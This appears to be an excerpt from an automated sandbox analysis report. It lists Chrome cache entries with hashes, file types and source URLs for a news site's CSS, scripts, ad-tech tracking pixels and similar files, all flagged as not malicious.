SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (594)
Category:	downloaded
Size (bytes):	719
Entropy (8bit):	4.934156676279089
Encrypted:	false
SSDEEP:	12:UI2wccoY3DKNSu/TSYodd+d2d9dB+dvTTiSTPFTkSMTsbSuhjGowl+:FyczkSu/TnKdIwravTGSTPFTkSMT+Su/
MD5:	4D17BE9BBF9F3FE7AB78A6F5001E6BBD
SHA1:	07CDAE1DCD6687127822E15CFE4F15CCC07A4AE0
SHA-256:	5BD5372A85F7323AFAAFC8C33A85F7A7B67E9AD427C81D65F7DBEC88582839B9
SHA-512:	15C9FDEBEF77FB166ED0453E4C79DB04BB655CBC18EF80FC6DD0CB2A77769D05B3B19934F46DA6F86BE3F14908A47A46F8F8CC4E29A14C02F5EFE6CE9F0761CE
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/css/videojs-watermark.css?ver=1.1.17
Preview:	/*. videojs-watermark. * @version 2.0.0. * @copyright 2017 Brooks Lyrette <brooks@dotsub.com>. * @license Apache-2.0. */..video-js.vjs-watermark{display:block}.video-js .vjs-watermark-content{opacity:0.99;position:absolute;padding:5px;-webkit-transition:visibility 1s,opacity 1s;-moz-transition:visibility 1s,opacity 1s;-ms-transition:visibility 1s,opacity 1s;-o-transition:visibility 1s,opacity 1s;transition:visibility 1s,opacity 1s}.video-js .vjs-watermark-top-right{right:0;top:0}.video-js .vjs-watermark-top-left{left:0;top:0}.video-js .vjs-watermark-bottom-right{right:0;bottom:30px}.video-js .vjs-watermark-bottom-left{left:0;bottom:30px}.video-js.vjs-user-inactive.vjs-playing .vjs-watermark-fade{opacity:0}.

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8916
Entropy (8bit):	7.976211216280141
Encrypted:	false
SSDEEP:	192:2TaM1VvBCp5jNangVtAxXWNkYTmsCfe6yRYn:EtCHSgIXakY5zYn
MD5:	BF56BDC9646187D9DE4E3C4F81C6880B
SHA1:	63AFB91DBDD1F5B06406DEFEFF92DB53DAEB95CC
SHA-256:	4ACA0FE6DB99F0B2A17792AA6CAEA61B8548CCEE4E055B658FE57852E2EFCD21
SHA-512:	AAFFCFA7BB43266310740279F3A0C7B341C06308EC1098FADEB1AFE119534ED7A259EAE7E0EE359E216A09A7DF9C3CABD3CE390CAA2738736D0BDB7BFD62488C
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg?resize=324%2C160&ssl=1
Preview:	RIFF."..WEBPVP8 .".......D...>m0.F.#!.(r...c...V/f.....RyW . ......;n....c..z.........%?G.O....S{{H.......e.....e<.7..............bI.........G.....w.........w..\|3...'..1...p..g..;[.yW.b.....}..&E....0. yx.\|...7.X.../....-r.'..X.H....L.#.J.......w.k.N.}~D.k.....Y`.Bdtg1b..]>.FM........-.......^.vi....SyW.C......&...._........w...W.#...$.u .k2.T.&._.L......C.&jo...f..f\934....4;....x6....QZ........fhD%k.Yzr.^...<.....z.6.'...u.-'gA..M.0d...r.b.\|"..m....p(....JL..k'+.9....h....2..Lr1.gO...X......._.R.y46.9s. .a..0.....Zu...i3'.....nT[.iB..9.....D...G.8...u....`W.O....o.>.`........R+......y..G..^4..jjYo$R....e.,...H.Zg..<..2.....Z..j.z.<.m.do..%j.`-.._.f.4x....v:^]....k.).......+....JV..Z...\.v......uI..#$u..$${.q.NN.uF@+...>..,5R..n...`.v 4........-..5.W.I4..c...].g....1.V.z..66(fa....Z....Y)W.....)...g..M.O..{:!..(y..sU_E.9...L.....u(p4.....\|.r.l.u.tXa..OrgPK.t~...&].OA6./6.9.,~.7..q......e..R.s[.......:L...-..p..4..\|..0MH..[.i.y..X..B...F

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LUAZWPEM-F-4532&gdpr=0
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?adnxs_uid=3287041831475129344&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://cdn.indexww.com/ht/htw-pixel.gif?ZgUvi9HM46UAADq7ABhzMwAA%262753
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	110405
Entropy (8bit):	5.226143547499413
Encrypted:	false
SSDEEP:	1536:YJ3R+a0WQ0lbYuCgc8Ss3FBpMvEn5WBHccN/WTtfEJCbvhmhx8PNT+IW:YdbYuGqWtl+TxoCbvhmiW
MD5:	AB8EAB26A89BB5F21176CDD528F75D6A
SHA1:	034B8961718ED1CBB4C48C2A5E5B04553B47EC22
SHA-256:	C66C5A821DBB4301E8684F96B4CAF2255CF4454D3144E53E46515A5992FEBBB1
SHA-512:	38805C06F524296E90C460CFEE80631BD2B9B1EF22E745C9E4F53141A36A0942EC9BEB8E9405AB2A1D0D594E2069EA29B313E009ECEF0500AE97812C76CDAB67
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/mailpoet/assets/dist/js/public.js?ver=4.48.0
Preview:	/!For license information please see public.js.LICENSE.txt/!function(){var __webpack_modules__={14:function(module,__unused_webpack_exports,__webpack_require__){module.exports=function($){"use strict";function _typeof(obj){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&&"function"==typeof Symbol&&obj.constructor===Symbol&&obj!==Symbol.prototype?"symbol":typeof obj},_typeof(obj)}function _extends(){return _extends=Object.assign\|\|function(target){for(var i=1;i<arguments.length;i++){var source=arguments[i];for(var key in source)Object.prototype.hasOwnProperty.call(source,key)&&(target[key]=source[key])}return target},_extends.apply(this,arguments)}function _slicedToArray(arr,i){return _arrayWithHoles(arr)\|\|_iterableToArrayLimit(arr,i)\|\|_nonIterableRest()}function _toConsumableArray(arr){return _arrayWithoutHoles(arr)\|\|_iterableToArray(arr)\|\|_nonIterableSpread()}function _arrayWithoutHoles(arr){if(Array

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, truncated
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.071735027138169
Encrypted:	false
SSDEEP:	3:Ftt8+:Xt8+
MD5:	5341D149BD405E945E03772FEE915535
SHA1:	0FC6CAF21A16CFB1EC8B89F2F196F262EE26193B
SHA-256:	BE99676F117A9DFE0E5E61A47CCCF8E52ADCC824C1A7A5931D860B7229498810
SHA-512:	C547B08B7B6B69548CEAFA6523DE17C08141B887FFA05AD3074A8C65AE0F9588AF9338326974E86A2BBA7BE98C08CA2C4D18D35440993A20397C4C19CA8FE5E4
Malicious:	false
Reputation:	low
Preview:	..............).L.....

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/5/c=9217/b=108780735
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (928)
Category:	downloaded
Size (bytes):	967
Entropy (8bit):	5.509895805879296
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTuEFM+sBntvwCCZV9UkxwBd6TuRXKr5c:c2Yz8TuiMnhYJxwH6TuRXEc
MD5:	293F9AFD807C1E4FFA7B4797D193150D
SHA1:	05301512247B2B21E39173C4354F1A053C52B627
SHA-256:	C4AC1F0037EB903CD1147FC281C1BC8B6039378518303B09218C4CF501956DC3
SHA-512:	63F1E57D0187A974B5078545A8D3C2C8A4B7C66755C34015582AE3E36AB2E5F91CD330ABE657A7F5AE44409C76CBFB92A4B12AEF1C2F8C673DFF8EA7437B6654
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=mediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=BidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://sync.mathtag.com/sync/img?mt_exid=59&redir=https://partners.tremorhub.com%2Fsync%3FUIMM%3D%5BMM_UUID%5D&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6408), with no line terminators
Category:	downloaded
Size (bytes):	6408
Entropy (8bit):	5.137715184922711
Encrypted:	false
SSDEEP:	192:MrWC5heAFGbgik9eCAnp5Nc8nokRVTIpq9kw:qWWheOG9cgPTIpq9kw
MD5:	4B0B0EA962813D3F45080153EB858F67
SHA1:	7AB5017D5724C538F1F947423EC2733238D81080
SHA-256:	A70CF9B748862122B0C17C82F7387458C4F7540EF649C5C178CA645131D89E7A
SHA-512:	17F77B9B619D1454C7A93B363DD4E4EB069CA58D908FA0EF4E9E6790D50D9C331C852FD405812AE149BB20CBF349A9E23473AE7506EB26446BFB2BE4629BBC57
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/445.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[445],{988:(t,e,n)=>{"use strict";n.d(e,{C:()=>l});var i=n(845);const{LoggerSour:r}=i.t,o=new r("DOM Manager"),l={createDOMElement:a,createDivAndAppend:u,createPlaceHolderAndStyle:c,checkPageSelectors:h,insertAfter:s,getMaxHeight:d,appendScriptForDiv:function(t,e="stdunit"){if(!t)return;e\|\|(e="stdunit");const n="<span class='sour-scripts-"+e+"'>"+unescape(t)+"</span>";var i=document.createRange();i.selectNode(document.getElementsByTagName("body")[0]);var r=i.createContextualFragment(n);document.body.appendChild(r),o.log("Adding script for "+e)},initPlaceholderSlot:function(t){let{gsizes:e,code:n,createElementMode:i,createElementSelector:r,minWidth:l,maxWidth:s,pageSelectors:u}=t;if(l\|\|s){var d=window.innerWidth;if(l&&d<l)return!1;if(s&&d>s)return!1}if(u&&"null"!==u&&!h(u))return o.log("pageSelectors "+u+" not found!"),!1;if(i&&r)a(t);else if(null==document.getElementById(n))return null;return null===t.placeholder&&(t.placeholder=!

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/2066127a3f7c6635eb4f6cac536feb5a/?gdpr=0&euconsent=&uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11822)
Category:	downloaded
Size (bytes):	11824
Entropy (8bit):	5.293046235077748
Encrypted:	false
SSDEEP:	192:O9d9uZiYBSsjBHN5whvID3YMYSPSWQ55aTkcfChQY+DdlZ7hJfLHmJIBu:Ee6sNHHwlIDhPSZ550kcfChQtvJfxBu
MD5:	E4D8009D3510A95F8A3902505F6B4482
SHA1:	AE54F6F39D686A7C5CC190B4A1C6304388E3A07A
SHA-256:	148449481E55A7D47FF793F70744D4CD472A149AFC1A0A99655F94F44D1F3FE1
SHA-512:	2999724D4B6BB83050A8828E9EDECB870613ED3F9A495DC5F1D02386B08C594D65CDBADD08CE540FAE08D0051A55E8108490B4E5D642E9EF9C3E15A1FFB346EA
Malicious:	false
Reputation:	low
URL:	https://cdn.bidbrain.app/ng-assets/creative/assets/polyfills-c5be5138.js
Preview:	export function __vite_legacy_guard(){import.meta.url;import("_").catch(()=>1);(async function*(){})().next()};var t="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},n=function(t){return t&&t.Math===Math&&t},r=n("object"==typeof globalThis&&globalThis)\|\|n("object"==typeof window&&window)\|\|n("object"==typeof self&&self)\|\|n("object"==typeof t&&t)\|\|n("object"==typeof t&&t)\|\|function(){return this}()\|\|Function("return this")(),e={},o=function(t){try{return!!t()}catch(n){return!0}},i=!o((function(){return 7!==Object.defineProperty({},1,{get:function(){return 7}})[1]})),u=!o((function(){var t=function(){}.bind();return"function"!=typeof t\|\|t.hasOwnProperty("prototype")})),c=u,a=Function.prototype.call,f=c?a.bind(a):function(){return a.apply(a,arguments)},l={},s={}.propertyIsEnumerable,p=Object.getOwnPropertyDescriptor,y=p&&!s.call({1:2},1);l.f=y?function(t){var n=p(this,t);return!!n&&n.enumerable}:s

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 218x150, components 3
Category:	dropped
Size (bytes):	9475
Entropy (8bit):	7.927638492393797
Encrypted:	false
SSDEEP:	192:XVWMwPIndQlSTvIXliRjCCpxKQCJts7Tc:XVWMHdQ4kViVnKVJ+Q
MD5:	C4A06D134D89C23C9FACC718A1032DFE
SHA1:	7AA8CC51CD8C74BD52F37B09C04605D7B31A92E2
SHA-256:	638B4BAB449B4791BD383A57BDEA3A492A113B3FAAC63F987DE501B3D84C668B
SHA-512:	7A52BCC067A9643E782C4460779F9C09DDF8DDA117384BC3AD35F2D692B874C5B500669D757741AF857FDA9B10B50D15AEB0CA6783C72BEFC00835B8651F5AF3
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C............................................................................"...............................................................................2.........J.\.k...A..Fnw.....d}9.r.l...;_....o.....3T...TeH...+......q_.f.j.3..s5.Z.IK`..s..v....u..].B.....K.M...'F....E.X=..S=...=......E...T..l....k.qSS..Yn......JE..8....I.,.O..\...X,.....6...w. 1>.-......4.X.#c.......\|.........^....h.../Q.k=...K..U.{.47..`....j...'O=...D..........b..g.O....;.~...E2:4vn.yy/v.~me.J.....Q..Y..'w.\|\|C..j.U.ge.$l:.......>.2a5...U[d..q..q.J6..a.....n..$.%!;:...........-.y..\|.M'.$!p......n'.../S....-....:..\|...:YN..HYV0T.B....l..1..PW6...I....>9q.\..>..T.3.e.\.&@..6.l.t..J.........t.]./.\.G'.T.).*1.m..S.s.J..Z3$V..7N..Kg="zi% .I.B.-.$G#Ki.%:...=....+..........................!.."14.#$.23AB%..........yY.8..\|w..0..<l.Nj_...6..p..z..n...6..N...M$q. ..BH..v..-eB......Y6

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1578), with no line terminators
Category:	downloaded
Size (bytes):	1578
Entropy (8bit):	4.891666126741432
Encrypted:	false
SSDEEP:	24:L5oNyvRu5cV/RskfuPQVuPQqGJwQacuPQ6+GkwQy4NGJwQk5FGJY:L5oNyvI5yZ5GoQoqGtaZo3RtykGtkPGY
MD5:	AD73C20BB592514252C1C23080DF317C
SHA1:	FD6CA9D786E7F1B4F5E9A52237F9D433DA328394
SHA-256:	31B11A2E634ABD7166080EC689881F1152413A31284AB5FDFF37FFD2CFAC3212
SHA-512:	EA87F4FE0702EE83117287355B67C0BFF63BCF1876285C17BB1CF8DEB5D99CEA60EA1F1676F30295C07E9AEB883FCA054BBFC038549F8E13ED3FCB01974D8C9A
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/wp-polls/polls-css.css?ver=2.77.2
Preview:	.wp-polls-archive{}.wp-polls,.wp-polls-form{}.wp-polls ul li,.wp-polls-ul li,.wp-polls-ans ul li{text-align:left;background-image:none;display:block}.wp-polls ul,.wp-polls-ul,.wp-polls-ans ul{text-align:left;list-style:none;float:none}.wp-polls ul li:before,.wp-polls-ans ul li:before,#sidebar ul ul li:before{content:''}.wp-polls img,.wp-polls label,.wp-polls input,.wp-polls-loading img,.wp-polls-image img{display:inline;border:0;padding:0;margin:0}.wp-polls-ul{padding:0;margin:0 0 10px 10px}.wp-polls-ans{width:100%;filter:alpha(opacity=100);-moz-opacity:1;opacity:1}.wp-polls-loading{display:none;text-align:center;height:16px;line-height:16px}.wp-polls-image{border:0}.wp-polls .Buttons{border:1px solid #c8c8c8;background-color:#f3f6f8}.wp-polls-paging a,.wp-polls-paging a:link{padding:2px 4px;margin:2px;text-decoration:none;border:1px solid #06c;color:#06c;background-color:#fff}.wp-polls-paging a:visited{padding:2px 4px;margin:2px;text-decoration:none;border:1px solid #06c;color:#06c;ba

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (624)
Category:	downloaded
Size (bytes):	2980
Entropy (8bit):	5.377178104224839
Encrypted:	false
SSDEEP:	48:YppXfodO5OMMLqNLsv8JLsioXHCx94N2QJ2LoXHCx94ND6JgoX4x94NjdJ8oXdxm:41+qNYEJYh+mN2QJ2s+mNGJ4mNjdJnm
MD5:	615AF0B245949675F87D82FE32735FD5
SHA1:	68088E4C636E64600A223C8E11B466669949B4EB
SHA-256:	6ED633EE4858ACA0565670D0FF1551AEDE69C5213740B7C72600F2FA961619E0
SHA-512:	9A681ADBCC63BDDC30CDD12B52D8CB9E792FFE1BC5C6D86F04AFE041E5DD7E34F9355C26318663D8CC21A0500E28D8B56F72F663F2BFBBFFA3A60D1ED995EFFB
Malicious:	false
Reputation:	low
URL:	https://boot.pbstck.com/v1/tag/fe80191f-083a-4937-a545-d8845a551713
Preview:	(function(){.function run(n,t,i){var a=new XMLHttpRequest;a.onreadystatechange=function(){if(this.readyState===4&&this.status===200){var t=n.createElement("script");t.type="text/javascript";t.innerHTML="(function() { var load = function() {"+a.responseText+";\n return this;}.bind({}); var _ = load();__CMD__ })()".replace(/__CMD__/g,i);(n.head\|\|n.documentElement).appendChild(t)}};a.onerror=function(){};a.open("GET",t,!0);a.send()}.function add(t,n){var i=t.createElement("script");i.type="text/javascript";i.src=n;i.async=!0;(t.head\|\|t.documentElement).appendChild(i)}.run(document, 'https://cdn.pbstck.com/index-monitoring-bbdc39c.js', '_.monitoring.pubstackAutoconfig(' + JSON.stringify({"endpoint":{"script":"https://cdn.pbstck.com/index-monitoring-bbdc39c.js","gateway":"https://intake.pbstck.com/v1/intake"},"scopeId":"4f33b974-9580-4e68-bb32-db48ab8e68cb","tagId":"fe80191f-083a-4937-a545-d8845a551713","viewabilityEnabled":true,"refreshEnabled":true,"quietMonitoring":true,"pbjsVariableName

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1238)
Category:	downloaded
Size (bytes):	1239
Entropy (8bit):	5.068464054671174
Encrypted:	false
SSDEEP:	24:ch63Cf5W8QPIHRZ3hwVFS39bYGwNef1yTZsNUkQ1sZmSuLqNWRco5Jcn5IKM6cuY:C6SQnw/x+SR8ZZkQbp1RZ5JwiKMm7Zc
MD5:	9E8F56E8E1806253BA01A95CFC3D392C
SHA1:	A8AF90D7482E1E99D03DE6BF88FED2315C5DD728
SHA-256:	2595496FE48DF6FCF9B1BC57C29A744C121EB4DD11566466BC13D2E52E6BBCC8
SHA-512:	63F0F6F94FBABADC3F774CCAA6A401696E8A7651A074BC077D214F91DA080B36714FD799EB40FED64154972008E34FC733D6EE314AC675727B37B58FFBEBEBEE
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js
Preview:	!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href")\|\|""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1037)
Category:	downloaded
Size (bytes):	29608
Entropy (8bit):	5.1346403479394285
Encrypted:	false
SSDEEP:	768:oQ/lbbMaI/2239A33zUF1c6Zie2sCsiZhZB6g:oQ/lbbMaI/2239A33zUFFCsitB6g
MD5:	46274BB8B2B01ADB4DDEC66747E81BE4
SHA1:	1F2512ECD0A9DC53097C7DA53C7451D8447F6F7B
SHA-256:	119976944646A79019CE03BEFF913584EB2F12E344B1E549C58A0DA61FB1E6C7
SHA-512:	BC2EB6B6A4DB8F6E449643031CF316F5EC28AE70BC6D0D20FFA812DE62C59F5ABC44B4AF58FA6CCCD0124E01A6C78EB4B1B84A78900AD09586AECB3700F460B2
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js?ver=be262a20ca49ba5e513ad6176c77b975
Preview:	"undefined"===typeof window.tdcPostSettings&&(window.tdcPostSettings={tdbTemplateType:"all"});if(window.tdbVue&&"undefined"!==typeof window.tdbVue.router){var eventHub=new CloudLibraryVue;CloudLibraryVue.component("image-links",{template:'\n <a :class="classes" :href="link">{{text}}</a>\n ',props:{classes:[],link:"",text:""}});new CloudLibraryVue({el:"#tdb-modal",router:window.tdbVue.router})}.window.tdbVueManager&&"undefined"!==typeof window.tdbVueManager.router&&new CloudLibraryVue({el:"#tdb-modal-website-manager",router:window.tdbVueManager.router});.(function(){function m(a,b,c,d,f,g,h){var e=jQuery(".tdb-"+a+"-templates");e.length&&"undefined"===typeof e.data("tdb-templates")&&("undefined"!==typeof g&&g.call(),tdbGetMobileTemplates(a,b,e),g="","undefined"!==typeof tdcState&&(g=tdcState.isMobileComposer()?"1":""),g={action:"tdb_get_"+a+"_templates",mobile_templates:g,_nonce:window.tdb_globals.wpRestNonce},"cpt_tax"===a?g.data_id=b:g[a+"_id"]=b,jQuery.ajax({type:"P

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1569
Entropy (8bit):	5.128350593299414
Encrypted:	false
SSDEEP:	48:H8CeF5wGbuteGV5lfKqnV8//N2yV+p4CCV+pL0f:H8lyG5GVPfKqnW/Vb808pk
MD5:	C0933CF3BB0B64B245FFC098E0532FF5
SHA1:	B417644A349D4840A828E6618877570B463E8CE0
SHA-256:	4C6C0FBE5CE138C6074C9E55FA0BE87336841758249BF4DE73E3CBB5E296D8F4
SHA-512:	A510FD99090D933C54344B9D45BF44C9457D497856C914B894505C8CE52C45D02FF3A10B16C8FCBC845AF1F40CA401D02A8A258F291BC542590381DFA016AFC2
Malicious:	false
Reputation:	low
URL:	https://pixel.mathtag.com/sync/js?sync=auto&mt_exid=10082&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635
